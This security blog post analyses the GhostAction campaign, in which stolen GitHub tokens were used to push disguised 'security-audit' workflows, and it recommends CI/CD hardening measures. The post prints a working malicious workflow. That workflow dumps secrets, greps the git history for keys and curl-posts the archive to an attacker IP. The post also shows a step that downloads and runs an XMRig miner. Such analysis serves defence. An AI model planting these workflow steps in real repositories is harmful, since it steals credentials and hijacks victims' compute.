For years, software supply chain security discussions centered primarily on package repositories: malicious packages sneaked into npm, typosquatting campaigns on PyPI, or compromised build outputs. However, as organizations hardened artifact registries and adopted lockfile checksum verifications, threat actors shifted their attention upstream. The modern build pipelineβ€”specifically the compute fabric that compiles, tests, and deploys production applicationsβ€”is now a primary target.

The GhostAction campaign represents a calculated evolution in automated supply chain poisoning. Over the course of early 2025 and late 2024 operations, an automated threat infrastructure compromised dozens of open-source repositories within minutes. Rather than subtly backdooring application code or publishing compromised packages to public registries, the attackers directly injected weaponized GitHub Actions workflows into compromised repositories.

These workflows transformed standard CI/CD runners into ephemeral harvesting nodes. By exploiting the deep compute contexts granted to GitHub-hosted runners, the campaign systematically harvested cloud infrastructure credentials, LLM API keys (including OpenAI, Anthropic, and OpenRouter), and internal Personal Access Tokens (PATs).

This post dissects the GhostAction campaign: how initial access occurred, how the malicious workflows executed deep Git forensic extraction, why perimeter egress defenses failed, and how DevSecOps teams can systematically harden their automation layers against similar pipeline-poisoning techniques.


Initial Access: From Infostealers to Automated Infiltration

The vulnerability exploited in the GhostAction campaign was not a zero-day flaw in GitHub’s virtualization boundary, nor an injection vulnerability in GitHub Actions’ parser. Instead, it was an identity and credential governance failure rooted at the developer endpoint.

+-------------------------------------------------------------+
| Developer Workstation (Infected with Infostealer Malware)   |
| - Browser Session Cookies                                   |
| - Classic Personal Access Tokens (repo, workflow scope)    |
+------------------------------+------------------------------+
                               |
                               v Token Extraction & C2 Relay
+-------------------------------------------------------------+
| Threat Actor Automated Dispatch Bot                         |
| - Rapid GitHub REST API Auth Verification                   |
| - Enumerate Maintainer Repositories (Public & Internal)     |
+------------------------------+------------------------------+
                               |
                               v Direct Git Push (Default Branch)
+-------------------------------------------------------------+
| Targeted GitHub Repositories (e.g., Kitao, Wu)             |
| - Injects: .github/workflows/security-audit.yml             |
| - Bypasses PR Review (Direct-to-master push)                |
+-------------------------------------------------------------+

The Endpoint-to-Cloud Pipeline

The initial vectors were commodity infostealer families (such as Lumma, RedLine, and Vidar) circulating on underground forums. These stealers harvest developer credentials stored across local environments:

  1. Stored browser session cookies granting active GitHub web sessions.
  2. Unencrypted classic Personal Access Tokens (PATs) saved in local .gitconfig files, shell histories, or local .env staging files.
  3. SSH private keys missing passphrases.

Among the impacted entities were repositories maintained by high-profile open-source developers, including Takashi Kitao and Henry Wu. Once the attackers acquired valid maintainer PATs, their infrastructure did not rely on manual reconnaissance. Instead, automated scripts began interrogating the GitHub REST API using the maintainer’s token context.

Automated Commits and Branch Protection Failures

Within minutes of validating the stolen credentials, automated bot scripts executed Git push operations directly against the default branches (main or master) of every accessible repository under the compromised accounts.

This exposed a common operational flaw across open-source and mid-tier commercial software repositories: asymmetric branch protection. While external contributors were blocked from committing directly to protected branches, maintainers often exempt themselves from branch rules to expedite daily patches.

Furthermore, many repositories lacked branch protection rules altogether on their default branches. Because the stolen PATs possessed full repo and often workflow administrative scopes, the attacker’s scripts pushed new file trees straight into default branches without creating a Pull Request, avoiding peer review or triggering standard pre-merge gating.

The Classic PAT Problem

The root architectural vulnerability that facilitated this rapid lateral push was GitHub’s legacy token model. Classic Personal Access Tokens suffer from distinct structural limitations:

  • All-or-Nothing Repository Access: A classic PAT cannot be constrained to a single repository; granting repo access exposes every repository the user can access, including private organizational repositories and third-party projects where they have collaborator rights.
  • Indefinite Lifespans: Many developers generate classic PATs without expiration dates, meaning a token leaked months prior remains completely actionable.
  • Coarse Scope Escalation: A developer requesting access to push code inadvertently provides access to modify CI/CD pipelines unless explicit organizational policies restrict workflow modifications.

Once the bots pushed the commits, GitHub’s workflow scheduler ingested the updates and prepared them for execution.


Deconstructing the Payload: Camouflage and Git History Scraping

The core technical execution of GhostAction was embedded inside innocuous-looking workflow manifests. The threat actors disguised their files under names designed to blend into enterprise security baselines, such as:

  • .github/workflows/security-audit.yml
  • .github/workflows/github_actions_security.yml
  • .github/workflows/dependency-check.yml

A developer casually skimming an automated commit notification might easily mistake the change for a native GitHub Dependabot configuration or an organizational security scanning initiative.

# Illustrative representation of the malicious GhostAction workflow pattern
name: "Security Audit"

on:
  push:
    branches: ["**"]
  workflow_dispatch:

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout Source Code
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Run Audit Engine
        env:
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
          ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
          OPENROUTER_KEY: ${{ secrets.OPENROUTER_KEY }}
          GH_PAT: ${{ secrets.GH_PAT }}
        run: |
          # Reconstruct staging directory
          mkdir -p /tmp/.cache_data
          
          # 1. Harvest active pipeline secrets explicitly declared or bound
          env > /tmp/.cache_data/environment.dump
          
          # 2. Forensic Git History Scraping (Scraping historic commits and dangling blobs)
          git log -p --full-history > /tmp/.cache_data/git_full_history.log
          
          # Scan for patterns indicative of API keys across history
          grep -Erio "((ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9_]{36}|sk-[A-Za-z0-9]{32,}|AKIA[0-9A-Z]{16})" .git/ >> /tmp/.cache_data/matched_keys.txt || true
          
          # 3. Package and Exfiltrate via raw HTTP POST
          tar -czf /tmp/payload.tar.gz -C /tmp/.cache_data .
          curl -s -X POST --data-binary "@/tmp/payload.tar.gz" http://193.32.204[.]199/upload || true

Trigger Mechanics and Deterministic Execution

The workflows used wide trigger conditions:

on:
  push:
    branches: ["**"]
  workflow_dispatch:

By binding to push across all branches and including workflow_dispatch, the attacker ensured that the payload ran automatically upon commit, while also reserving the ability to manually invoke the workflow via GitHub’s REST API should branch activity stall.

The fetch-depth: 0 Scraping Technique

A critical element of the payload was the checkout configuration:

- uses: actions/checkout@v4
  with:
    fetch-depth: 0

By default, the modern actions/checkout action fetches only a shallow clone of depth 1 (the single target commit) to maximize runner efficiency. By overriding this parameter to 0, the malicious workflow forced the runner to pull down the entire commit history, including all branches, tags, and commit metadata.

This was purposeful. Developers often inadvertently commit API tokens or SSH keys, only to β€œremove” them in a subsequent commit. While the secrets are no longer visible on the file system surface, they remain fully accessible within Git’s packfiles and commit tree objects.

The attacker’s shell payload looped over the full commit log:

git log -p --full-history

This scraped every differential ever recorded in the repository. It captured passwords that were committed years prior, intermediate testing tokens, and orphaned commits that remained reachable via the Git object graph.

Secret and Context Harvesting

Beyond inspecting the commit log, the injected bash scripts performed an environment dump. If an organization configured repository-level or organization-level secrets (such as deployment keys or third-party service tokens), those secrets could be mapped into the runner’s execution environment if referenced, or exposed through runner context dumps:

env > /tmp/.cache_data/environment.dump

The workflow systematically targeted modern development secrets:

  • Cloud Infrastructure Tokens: AWS access keys, Azure service principals, and GCP service accounts.
  • Source Control Identifiers: Classic PATs, internal deploy keys, and GitHub CLI session contexts.
  • Foundation Model / LLM API Keys: OpenAI, Anthropic, and OpenRouter API tokens.

These harvested artifacts were compressed into a single staging archive inside /tmp/, ready for exfiltration.


Exfiltration Architecture: Plaintext Egress to Unrestricted Endpoints

Once the data was collected, the payload initiated its exfiltration sequence. The network phase reveals a substantial gap in how modern cloud runners are deployed.

+--------------------------------------------------------------+
| GitHub-Hosted Runner (ubuntu-latest)                         |
| - IP Allocation: Azure Public Cloud IP space                 |
| - Default Outbound Rules: ALLOW ALL (0.0.0.0/0)              |
|                                                              |
| [curl -X POST --data-binary @payload.tar.gz http://193...]  |
+------------------------------+-------------------------------+
                               |
                               | Unfiltered Egress via Port 80
                               v
+--------------------------------------------------------------+
| Attacker Infrastructure: 193.32.204[.]199                   |
| - Plain HTTP C2 Listener                                     |
| - Ingests .tar.gz dumps containing secrets and git histories|
+--------------------------------------------------------------+

Raw HTTP Exfiltration

Instead of utilizing covert DNS tunneling, domain generation algorithms (DGA), or encrypted HTTPS channels disguised as legitimate SaaS traffic, the attackers relied on direct HTTP commands using curl:

curl -s -X POST --data-binary "@/tmp/payload.tar.gz" http://193.32.204[.]199/upload || true

The payload used an unencrypted, plaintext HTTP POST request sent to an explicit IPv4 address: 193.32.204[.]199.

There were no complex steganography routines, no obfuscated multi-stage decoders, and no efforts to mask the traffic behind cloudflare workers or content delivery networks. The attackers used simple operations because, within standard CI/CD runners, simple operations regularly succeed without triggering alerts.

The CI/CD Runner Egress Blind Spot

Why was such an unencrypted exfiltration attempt successful?

Standard GitHub-hosted runners (ubuntu-latest, windows-latest) run inside ephemeral virtual machines deployed within Microsoft Azure. By design, these environments must support a wide array of developer workflows: downloading package dependencies from custom mirrors, communicating with varied testing endpoints, and pulling container layers from external registries.

Consequently, GitHub-hosted runners feature unrestricted outbound egress by default.

  • Any runner can open TCP, UDP, or HTTP connections to any public IP address across the global internet on any port.
  • There are no baseline firewalls blocking direct-to-IP egress.
  • There is no default DNS validation inspecting whether outbound traffic is destined for newly registered domains or known malicious IP blocks.

For the GhostAction operators, this meant their raw HTTP payload faced zero perimeter friction. The command ran, the secrets cleared the runner interface, and the step completed cleanly.

Opportunistic Compute Hijacking (XMRig)

While the primary objective of GhostAction was credential theft, researchers noted secondary payloads in isolated instances where compromised repositories were hosted on high-performance compute runners. In these setups, the injected workflow downloaded and executed XMRig, an open-source Monero cryptocurrency miner.

- name: Run Optimization Engine
  run: |
    curl -s -L https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-linux-x64.tar.gz | tar -xz
    ./xmrig -o pool.supportxmr.com:3333 -u 4A... -k --tls --background

This secondary behavior was opportunistic. If the harvested credentials lacked broad value or the runner had elevated CPU resources, the attackers monetized the compute time before the repository maintainer took down the compromised workflow.


The Downstream Blast Radius: Propagation via Forks and Enterprise Mirrors

The structural risk of the GhostAction campaign went beyond the initial repositories. Modern Git ecosystems are deeply interconnected, and the propagation vectors built into GitHub Actions amplified the downstream exposure.

The Fork Synchronization Threat Vector

A common pattern in modern software development is the distributed fork workflow. Developers, external contractors, and downstream enterprise engineering teams fork upstream open-source repositories to test changes, build enterprise-specific distributions, or maintain localized dependencies.

Upstream Repo (Compromised)
└── Direct push adds .github/workflows/security-audit.yml
      β”‚
      β”‚ Automated or manual 'Sync Fork' / 'git pull'
      β–Ό
Downstream Fork (Private Enterprise Repository)
β”œβ”€β”€ Ingests malicious .github/workflows/security-audit.yml
└── Trigger fires:
    β”œβ”€β”€ Runner provisions within Enterprise Organization context
    β”œβ”€β”€ Accesses Enterprise Secrets (e.g., Internal NPM tokens, AWS creds)
    └── Exfiltrates to 193.32.204[.]199

When an upstream open-source repository is poisoned, any downstream consumer who uses GitHub’s native β€œSync Fork” functionality or pulls upstream commits into their branches automatically imports the malicious .github/workflows/security-audit.yml file.

If the downstream fork has GitHub Actions enabledβ€”which is default behavior across many private GitHub setupsβ€”the newly synchronized commit immediately fires the push trigger within the context of the downstream enterprise repository.

At that point, the runner executes within the enterprise’s CI/CD context. The malicious workflow no longer just steals the open-source project’s secrets; it now has direct access to the enterprise’s private secrets, internal code artifacts, and organizational build tokens.

Lateral Movement into Cloud Infrastructure

With the harvested AWS, Azure, and GCP credentials, threat actors can pivot from source-code metadata into production infrastructure.

  1. AWS Identity Verification: Attackers run aws sts get-caller-identity to resolve the IAM role, permissions boundary, and associated account ID.
  2. Infrastructure Discovery: If the harvested keys possess broad continuous deployment policies (such as AdministratorAccess or broad permissions on S3, ECS, or Lambda), the attacker can deploy persistence mechanisms, snapshot databases, or manipulate production container images.
  3. Internal Pivoting: Secrets often include administrative API tokens for tools like Datadog, HashiCorp Vault, or enterprise NPM registries, allowing attackers to pivot into other systems across the software lifecycle.

AI Supply Chain Exposure

GhostAction deliberately targeted AI service tokens: OpenAI, Anthropic, and OpenRouter API keys. This reflects an evolving trend in modern developer compromises.

When an attacker captures an enterprise’s LLM API keys:

  • Cost Accumulation: Attackers resell access or run massive batch jobs on advanced reasoning models, resulting in tens of thousands of dollars in unmonitored compute expenses.
  • Model Poisoning & Fine-Tuning Tampering: If the compromised API keys have write permissions across organizational workspaces, attackers can inspect proprietary fine-tuning sets, poison training data, or inject malicious system prompts.
  • Data Exfiltration: Attackers can intercept or inspect active Assistant threads, data analytics logs, and contextual memory stores, exposing internal corporate intellectual property passed into LLM contexts during automated builds.

This pipeline-focused attack shares architectural dynamics with other modern campaigns. For instance, in our analysis of the bdthemes supply chain attack via JSON poisoning, attackers targeted dynamic dependency injection rather than static code bases. In both cases, the adversaries avoided direct source-code modifications in favor of manipulating auxiliary pipeline infrastructure to harvest operational credentials.


Comparing Supply Chain Vectors: Workflow Poisoning vs. Dependency Tampering

To place GhostAction in context, we must contrast workflow poisoning with traditional package dependency tampering.

Historically, attackers targeted package registries like npm, PyPI, or RubyGems. While effective, dependency tampering carries operational overhead: the attacker must compromise an account, push a semantic version increment, wait for downstream developers to update their lockfiles, and evade static analysis scanners operating on open-source registries.

Workflow poisoning avoids these intermediate stages:

Dimension Package Dependency Tampering CI/CD Workflow Poisoning (GhostAction)
Primary Target Asset Application source code, runtime runtime dependencies CI/CD runner execution environments, build-time secrets
Execution Trigger npm install, compile time, or runtime execution Git push, pull_request, or workflow_dispatch
Privilege Level Sandboxed application runtime, local developer user Privileged build environment, enterprise cloud deployment IAM
Detection Surface Lockfile changes, Software Bill of Materials (SBOMs), registry scanning Commits to .github/workflows/, runner telemetry, egress logs
Time to Execution Hours to weeks (relies on downstream consumer updates) Immediate (seconds after automated Git push)
Persistence Model Retained inside downstream dependency trees Ephemeral: runs once, steals all secrets, self-deletes or remains undiscovered

The Speed Differential

The operational speed of workflow poisoning is a significant differentiator. A bot script possessing a leaked PAT can inject a workflow across fifty repositories within three minutes.

Because GitHub Actions triggers build environments near-instantly upon receiving a push event, the attacker’s harvesting logic executes almost concurrently with the commit itself. By the time a maintainer receives an automated notification email that a commit was pushed to their repository, the runner has already booted, executed the script, posted the harvested tokens to the external IP address, and terminated its Azure VM instance.

Traditional dependency security controlsβ€”such as Software Bill of Materials (SBOM) generation, dependency scanning, and static application security testing (SAST)β€”are typically focused on package manifests like package.json or go.mod. They often bypass .github/workflows/ files entirely, leaving a notable blind spot in automated detection pipelines.


Hardening the Pipeline: Actionable Remediation and Defense-in-Depth

Mitigating automated workflow poisoning requires shifting CI/CD security from implicit trust to deterministic, defense-in-depth enforcement. Below are engineering controls designed to disrupt every stage of the GhostAction attack lifecycle.

                    LAYERED DEFENSE ARCHITECTURE
                    
[Identity Layer]     Enforce Fine-Grained PATs + Require 2FA Hardware Keys
                           β”‚
                           β–Ό
[Source Control]     Branch Protection on .github/workflows/ + CODEOWNERS
                           β”‚
                           β–Ό
[Execution Context]  Top-Level "permissions: read-all" + OIDC (Zero Long-Lived Keys)
                           β”‚
                           β–Ό
[Network Egress]     Block Raw IPs + Strict Domain Whitelisting (StepSecurity / Proxies)

1. Enforce Explicit, Minimal Runner Token Permissions

By default, older GitHub repositories granted the built-in GITHUB_TOKEN read and write access across the repository. This meant any workflow execution could rewrite commit trees, publish releases, or modify issues.

Organizations must enforce strict, top-level permission boundaries at both the organizational and individual workflow levels. By setting top-level permissions to read-all or restricting them to an empty map, you prevent injected workflows from utilizing GitHub’s internal token to modify code or pivot laterally:

# Enforce least-privilege permissions at the root of every workflow
name: Build and Test

permissions: {} # Revoke all ambient permissions

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read     # Explicitly grant ONLY read access to code
      pull-requests: read
    steps:
      - uses: actions/checkout@v4
      - run: npm test

2. Transition from Static Secrets to OpenID Connect (OIDC)

GhostAction was lucrative because the compromised repositories stored long-lived, static credentials: AWS Access Keys, static deployment tokens, and raw API secrets.

Organizations should remove long-lived cloud keys from repository secret stores. Instead, migrate to OpenID Connect (OIDC). OIDC allows the GitHub Actions runner to exchange a short-lived, cryptographically signed JSON Web Token (JWT) directly with cloud providers (AWS, Azure, GCP, HashiCorp Vault) for a scoped, ephemeral cloud role:

jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      id-token: write # Required for requesting the OIDC JWT
      contents: read
    steps:
      - uses: actions/checkout@v4
      
      # Authenticate to AWS via OIDC without ANY static secrets
      - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeploymentRole
          aws-region: us-east-1
          audience: https://github.com/my-org

Under this model, even if a malicious workflow executes env or inspects the runner’s memory, there are no static cloud credentials to harvest. The temporary credentials expire automatically within an hour, and trust conditions can enforce that only runs originating from specific branches or environments are permitted to assume the role.

3. Mandate Branch Protections and CODEOWNERS for Workflow Directories

To prevent threat actors from directly pushing weaponized workflows, branch protection rules must explicitly monitor the workflow directory.

  • Configure Branch Protection Rules or Repository Rulesets on all default branches (main, master).
  • Require Pull Request reviews prior to merging, with Dismiss stale pull request approvals when new commits are pushed enabled.
  • Require signed commits via GPG, SSH, or S/MIME.
  • Define a .github/CODEOWNERS file specifically designating security personnel or lead architects as mandatory approvers for any change within .github/:
# .github/CODEOWNERS
# Require mandatory security team review for any changes to workflow logic
.github/workflows/ @my-org/devsecops-team

Ensure the organizational setting β€œDo not allow bypass of the above settings” is strictly applied to administrators to prevent compromised maintainer tokens from overriding merge restrictions.

4. Restrict Runner Network Egress

Because standard GitHub-hosted runners allow completely unrestricted outbound internet access, exfiltration to raw IP addresses like 193.32.204[.]199 is trivial. Teams must apply network-level controls.

Using StepSecurity Harden-Runner

For organizations utilizing GitHub-hosted infrastructure, integrate runtime egress inspection tools such as StepSecurity’s harden-runner. This installs an eBPF-based monitor on the runner that blocks unexpected outbound network connections and correlates system telemetry:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Harden Runner (Network Policy Enforcement)
        uses: step-security/harden-runner@v2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443
            api.github.com:443
            registry.npmjs.org:443

      - uses: actions/checkout@v4
      - run: npm install && npm test

If an attacker injects a step executing curl http://193.32.204[.]199/upload, the kernel driver blocks the network socket immediately and alerts the DevSecOps monitoring system.

Self-Hosted Isolated Runners

For enterprise workloads with high security requirements, migrate sensitive pipelines to self-hosted runners deployed within private VPCs. Force all egress traffic through forward proxy firewalls (such as Squid or AWS Network Firewall) configured to:

  • Deny all outbound requests to raw IP addresses.
  • Enforce strict TLS inspection and SNI-based domain whitelisting.
  • Isolate runner compute so that instances are terminated and reprovisioned after every single job.

5. Deprecate Classic Personal Access Tokens

Organizations should enforce an organization-wide ban on classic PATs.

  • Require Fine-Grained Personal Access Tokens (FG-PATs).
  • Restrict FG-PATs to specific repositories, omitting administrative scopes.
  • Require short token lifespans (maximum 30 to 90 days).
  • Require administrator approval before any new member token receives access to organizational repositories.
  • Enforce mandatory hardware-bound multi-factor authentication (FIDO2 / WebAuthn) for developer accounts to render browser cookie theft and simple password spraying ineffective.

The Road Ahead for CI/CD Pipeline Security

The GhostAction campaign demonstrates that software pipelines cannot treat their execution environments as implicit trust zones. When a developer’s identity is compromised, the CI/CD pipeline often becomes the fastest, quietest path for threat actors to harvest production credentials and move laterally into cloud infrastructure.

Addressing this threat vector requires structural updates to how pipeline platforms operate:

1. Default-Deny Outbound Network Architectures

The assumption that a CI/CD runner needs unrestricted access to the entire IPv4 address space is outdated. Platforms must move toward a default-deny egress model. If an integration needs access to an external service, that service’s domain or IP range should be explicitly declared in the workflow file, similar to modern container security manifests. Raw IP-based egress, in particular, should be blocked by default across hosted runners.

2. Runtime Integrity Monitoring via eBPF

Static analysis of workflow YAML files is insufficient; systems must monitor the execution runtime. DevSecOps workflows are increasingly adopting lightweight eBPF (extended Berkeley Packet Filter) agents running directly on runner hosts. By observing system calls, process fork executions, and network socket instantiations, eBPF tooling can identify anomaliesβ€”such as a linter invoking curl to an unknown external IP addressβ€”and terminate the runner process before data leaves the system.

[GitHub Actions Runner Host]
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Step Execution: "Run Linter"                          β”‚
β”‚  └── Executes: curl http://193.32.204.199/upload       β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                           β”‚ sys_enter_connect
                           β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Kernel Space: eBPF Telemetry Hook                     β”‚
β”‚  β”œβ”€β”€ Detects unauthorized raw IP connection            β”‚
β”‚  β”œβ”€β”€ Action: SIGKILL sent to runner process            β”‚
β”‚  └── Alert: Generates high-priority SOC pipeline event β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

3. Policy-as-Code Gating

Enterprise organizations must treat pipeline definitions with the same validation standards as application code. Using Policy-as-Code engines such as Open Policy Agent (OPA) or Conftest, repositories can enforce pre-execution rules:

  • Reject any workflow using fetch-depth: 0 without explicit architecture board sign-off.
  • Fail builds that introduce unrestricted workflow_dispatch triggers or wildcards on push events.
  • Prevent any workflow from binding cloud secrets unless it is signed by an approved maintainer identity.

Pipelines are no longer just build mechanisms; they are high-value compute fabrics holding the keys to production cloud architectures. Hardening identity perimeters, moving away from static secrets, restricting runner egress, and actively validating pipeline changes are now foundational requirements for modern software supply chain security.